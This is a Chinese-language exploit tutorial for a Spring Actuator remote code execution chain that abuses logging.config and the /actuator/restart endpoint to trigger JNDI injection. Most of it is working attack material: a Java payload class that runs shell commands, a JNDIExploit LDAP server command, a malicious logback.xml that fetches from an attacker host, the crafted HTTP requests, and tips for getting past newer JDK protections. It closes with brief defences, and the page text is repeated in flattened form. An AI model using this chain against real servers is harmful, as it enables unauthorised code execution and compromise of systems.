spring actuator restart logging.config rce
字数 1281 2025-08-10 08:29:04

Spring Actuator Restart Logging.config RCE 漏洞分析与利用

0x00 漏洞概述

本漏洞是针对Spring Actuator组件的远程代码执行(RCE)漏洞,通过利用logging.config配置项和/actuator/restart端点,在特定条件下可实现JNDI注入攻击。

0x01 漏洞影响版本

  • Spring Actuator 1.x 和 2.x 版本
  • 需要/actuator/restart端点启用

版本差异

  • 1.x版本:需要配置endpoints.restart.enabled=true
  • 2.x版本:需要配置management.endpoint.restart.enabled=true

0x02 漏洞原理

漏洞利用链如下:

  1. 通过/actuator/env接口修改logging.config配置项,指向攻击者控制的恶意logback.xml文件
  2. 该XML文件包含JNDI注入点
  3. 触发/actuator/restart端点使配置生效
  4. 应用重启时加载恶意配置,触发JNDI注入
  5. JNDI服务返回恶意类实现代码执行

关键点在于Logback组件会解析logging.config指定的配置文件,并执行其中的JNDI查找操作。

0x03 利用条件

  1. /actuator/env端点可访问
  2. /actuator/restart端点已启用
  3. 目标系统使用Logback作为日志组件
  4. 目标系统允许出网连接(或攻击者在同一内网)

0x04 漏洞利用步骤

一、准备恶意Java类

需要创建一个实现javax.naming.spi.ObjectFactory接口的类,示例:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javax.naming.Context;
import javax.naming.Name;
import java.io.File;
import java.io.IOException;
import java.util.Hashtable;

public class CommandRaw extends AbstractTranslet implements javax.naming.spi.ObjectFactory {
    private static String cmd = "open -a Calculator";
    
    public CommandRaw() {
        String[] var1;
        if (File.separator.equals("/")) {
            var1 = new String[]{"/bin/bash", "-c", cmd};
        } else {
            var1 = new String[]{"cmd", "/C", cmd};
        }
        try {
            Runtime.getRuntime().exec(var1);
        } catch (IOException var3) {
            var3.printStackTrace();
        }
    }
    
    public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {}
    public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {}
    
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
        return new Object();
    }
}

编译后放置在Web服务器根目录下。

二、启动LDAP服务

使用工具如marshalsec或修改后的JNDIExploit启动LDAP服务:

java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip

三、托管恶意XML文件

在Web服务器根目录下创建logback.xml文件:

<configuration>
    <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName"/>
</configuration>

启动HTTP服务:

python3 -m http.server 80

四、触发漏洞

  1. 修改logging.config配置:
POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "logging.config",
    "value": "http://your-vps-ip/logback.xml"
}
  1. 触发重启:
POST /actuator/restart HTTP/1.1
Content-Type: application/json
Content-Length: 0

0x05 绕过限制技巧

  1. 高版本JDK绕过:使用javax.el.ELProcessor作为Reference Factory绕过JDK限制
  2. 防止应用崩溃:确保返回的类实现javax.naming.spi.ObjectFactory接口,并在getObjectInstance方法中返回有效对象

0x06 防御措施

  1. 禁用不必要的Actuator端点,特别是/actuator/env/actuator/restart
  2. 限制Actuator端点的访问权限
  3. 升级JDK版本并设置com.sun.jndi.ldap.object.trustURLCodebase为false
  4. 使用Spring Security对Actuator端点进行认证和授权

0x07 参考链接

Spring Actuator Restart Logging.config RCE 漏洞分析与利用 0x00 漏洞概述 本漏洞是针对Spring Actuator组件的远程代码执行(RCE)漏洞,通过利用 logging.config 配置项和 /actuator/restart 端点,在特定条件下可实现JNDI注入攻击。 0x01 漏洞影响版本 Spring Actuator 1.x 和 2.x 版本 需要 /actuator/restart 端点启用 版本差异 1.x版本 :需要配置 endpoints.restart.enabled=true 2.x版本 :需要配置 management.endpoint.restart.enabled=true 0x02 漏洞原理 漏洞利用链如下: 通过 /actuator/env 接口修改 logging.config 配置项,指向攻击者控制的恶意logback.xml文件 该XML文件包含JNDI注入点 触发 /actuator/restart 端点使配置生效 应用重启时加载恶意配置,触发JNDI注入 JNDI服务返回恶意类实现代码执行 关键点在于Logback组件会解析 logging.config 指定的配置文件,并执行其中的JNDI查找操作。 0x03 利用条件 /actuator/env 端点可访问 /actuator/restart 端点已启用 目标系统使用Logback作为日志组件 目标系统允许出网连接(或攻击者在同一内网) 0x04 漏洞利用步骤 一、准备恶意Java类 需要创建一个实现 javax.naming.spi.ObjectFactory 接口的类,示例: 编译后放置在Web服务器根目录下。 二、启动LDAP服务 使用工具如 marshalsec 或修改后的 JNDIExploit 启动LDAP服务: 三、托管恶意XML文件 在Web服务器根目录下创建 logback.xml 文件: 启动HTTP服务: 四、触发漏洞 修改 logging.config 配置: 触发重启: 0x05 绕过限制技巧 高版本JDK绕过 :使用 javax.el.ELProcessor 作为Reference Factory绕过JDK限制 防止应用崩溃 :确保返回的类实现 javax.naming.spi.ObjectFactory 接口,并在 getObjectInstance 方法中返回有效对象 0x06 防御措施 禁用不必要的Actuator端点,特别是 /actuator/env 和 /actuator/restart 限制Actuator端点的访问权限 升级JDK版本并设置 com.sun.jndi.ldap.object.trustURLCodebase 为false 使用Spring Security对Actuator端点进行认证和授权 0x07 参考链接 Spring Boot官方文档 - Actuator Logback官方文档 JNDI注入防护指南